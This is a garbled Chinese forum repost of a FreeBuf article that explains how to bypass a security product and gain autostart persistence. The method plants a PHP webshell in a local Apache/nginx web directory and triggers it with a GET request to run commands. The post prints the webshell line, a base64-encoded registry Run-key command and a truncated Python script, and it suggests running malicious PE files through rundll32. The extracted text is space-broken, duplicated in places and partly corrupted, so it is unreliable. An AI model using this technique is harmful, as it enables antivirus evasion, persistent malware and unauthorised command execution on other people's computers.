搜索

[15459] 2020-06-05_看我如何制造漏洞绕过安全软件来加入自启动

文档创建者：s7ckTeam
浏览次数：9
最后更新：2025-01-18
2020-06-05_看我如何制造漏洞绕过安全软件来加入自启动 看 我 如 何 制 造 漏 洞 绕 过 安 全 软 件 来 加 入 自 启 动 h i j a c k i n g   F r e e B u f   2 0 2 0 - 0 6 - 0 5 不 让 我 注 入 进 程 撒 ？ 加 服 务 启 动 你 拦 截 我 撒 ？ 我 用 另 类 方 法 不 让 我 注 入 进 程 撒 ？ 加 服 务 启 动 你 拦 截 我 撒 ？ 我 用 另 类 方 法 ” 注 入 注 入 ” 加 入 自 启 动 加 入 自 启 动 ? 众 所 周 知 , 某 0 卫 士 对 启 动 这 一 块 做 的 比 较 严 格 。 以 往 来 说 大 家 都 喜 欢 注 册 表 启 动 ， 后 来 注 册 表 被 杀 的 太 厉 害 。 结 果 G G 了 。 然 后 衍 生 出 来 服 务 启 动 ? 不 过 好 景 不 长 , 服 务 启 动 也 被 和 谐 … … 有 反 驳 的 可 以 附 上 你 代 码 ?   ( 有 点 空 手 套 E X P 的 感 觉 ) 当 然 ， 也 有 服 务 能 启 动 的 ， 前 提 是 你 找 到 一 个 靠 谱 的 白 名 单 程 序 … 抠 鼻 . . 我 找 到 了 … 就 是 … 不 告 诉 你 以 上 是 背 景 … … 目 前 来 说 ， 比 较 靠 谱 的 一 种 做 法 是 进 程 注 入 。 进 程 注 入 多 用 于 隐 匿 自 身 ， 以 及 做 一 些 其 他 不 可 描 述 的 事 情 。 但 … … 各 位 程 序 大 佬 清 楚   大 多 的   传 统 的 进 程 注 入 被 和 谐 掉 了 ， 会 被 检 测 出 来 。 今 天 我 要 给 大 家 说 一 个 自 己 的 思 路 利 用 漏 洞 来 钻 空 子 ！ 简 单 来 说 就 是       如 果 程 序 不 存 在 漏 洞 ， 那 我 们 就 来 制 造 漏 洞 说 到 这 里 ， 大 家 可 能 心 里 都 明 白 了 几 分 ， 但 我 要 说 的 和 你 们 的 不 太 一 样 。 如 果 程 序 不 存 在 漏 洞 ， 那 我 们 就 来 制 造 漏 洞 。 今 天 给 大 家 带 来 的 一 个 思 路 是   利 用 w e b s h e l l 来 加 入 自 启 动 。 给 大 家 看 下 效 果 。 简 单 梳 理 下 流 程 ： 写 入 W E B S H E L L 到 W E B 目 录 ， 利 用 W E B S H E L L 来 执 行 一 些 C M D 命 令 。 下 面 只 是 演 示 了 加 自 启 动 ， 你 可 以 发 掘 更 多 姿 势 。 例 如 ： 执 行 r u n d l l 3 2 来 运 行 你 的 P E 恶 意 程 序 等 … … 这 是 没 执 行 的 情 况 下 ， 我 们 执 行 后 就 可 以 加 入 一 个 启 动 项 。
有 杠 精 可 能 要 说 了 。 这 个 w i n r a r 不 是 白 文 件 吗 ？ 加 起 来 肯 定 没 提 醒 啊 ？ 我 呸 ， 你 专 业 点 好 了 不 ？ 好 了 不 ？ 好 了 不 ？ ！ ！ 先 上 一 下 拍 簧 片 代 码 哦 了 ？ 最 后 利 用 只 需 要 发 起 一 条 G E T 请 求 即 可 。 那 么 思 路 我 们 明 白 了 ， 我 们 现 在 如 何 去 写 一 个 完 整 的 程 序 呢 ？ 简 单 ， W E B 下 比 较 热 门 的 w i n d o w s 也 就 那 么 几 个 ， 哦 ， 写 反 了 。 不 过 无 所 谓 。 a p a c h e 和 n g i n x 。 搜 索 这 两 个 文 件 即 可 。 代 码 我 们 稍 后 就 上 ， 但 在 这 之 前 ， 可 能 有 小 伙 伴 要 走 捷 径 了 ， 很 明 确 的 告 诉 你 ， 当 你 想 用 下 面 这 条 命 令 来 简 化 的 时 候 ， 你 就 失 败 了 。 < ? p h p         s y s t e m ( b a s e 6 4 _ d e c o d e ( $ _ G E T [ ' h e l l o ' ] ) ) ; ? >   然 后 上 一 条 E X P c m V n I G F k Z C A i S E t F W V 9 D V V J S R U 5 U X 1 V T R V J c U 2 9 m d H d h c m V c T W l j c * * z b 2 Z 0 X F d p b m R v d 3 N c Q 3 V y c m V u d F Z l c n N p b 2 5 c U n V u I i A v d i B 3 a W 5 y Y X I g L 3 Q g c m V n X 3 N 6 I C 9 k I C J j O l x c c H J v Z 3 J h b S B m a W x l c 1 x 3 a W 5 y Y X I u Z X h l I i A v Z g = =
所 以 说 不 要 尝 试 走 捷 径 。 也 许 你 可 以 ， 但 你 最 好 不 要 ， 你 看 的 东 西 越 多 ， 你 学 到 的 就 越 多 ， 也 许 累 点 。 但 你 会 收 获 更 多 。 当 然 了 不 是 说 走 捷 径 不 好 。 有 好 有 坏 ， 比 如 我 。 可 以 拿 去 干 坏 事 ， 但 我 选 择 投 稿 赚 点 财 迷 油 盐 钱 。 P y t h o n 玩 的 很 菜 ， 勿 喷 。 上 面 简 单 实 现 了 这 一 套 流 程 。 代 码 自 己 修 改 哈 ， 修 改 好 了 我 不 介 意 分 我 一 份 学 习 下 … . 感 谢 观 看 然 后 执 行 以 下 代 码 。 i m p o r t   o s         i m p o r t   o s . p a t h         i m p o r t   r e         i m p o r t   w e b b r o w s e r         C o n f i g P a t h = " "         C o n f D i r e c t = " "         d e f   P a r s e S e r v e r N a m e ( l i n e ) :                 f   =   o p e n ( l i n e , ' r ' )                 s = f . r e a d ( )                
可 以 看 到 无 提 示 加 入 了 启 动 当 然 只 是 抛 砖 引 玉 。 具 体 还 得 你 们 自 己 发 挥 ， 代 码 中 有 很 多 没 有 考 虑 到 的 因 素 。 比 如 ， 他 电 脑 没 有 W E B 环 境 呢 ？ W E B 环 境 不 是 P H P 呢 ？ 或 者 ， 服 务 没 启 动 呢 ？ 等 待 你 们 自 己 去 修 复 这 个 问 题   另 外   代 码 需 要 简 单 修 改 。 再 另 外 ， 如 果 你 不 喜 欢 这 种 方 式 。 你 可 以 拿 已 知 的 R C E 漏 洞 程 序 在 对 方 电 脑 上 执 行 E X P ， 也 可 以 实 现 伪 注 入 。 思 路 千 万 条 ， 实 践 第 一 条 。 * 本 文 作 者 ： 本 文 作 者 ： h i j a c k i n g ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理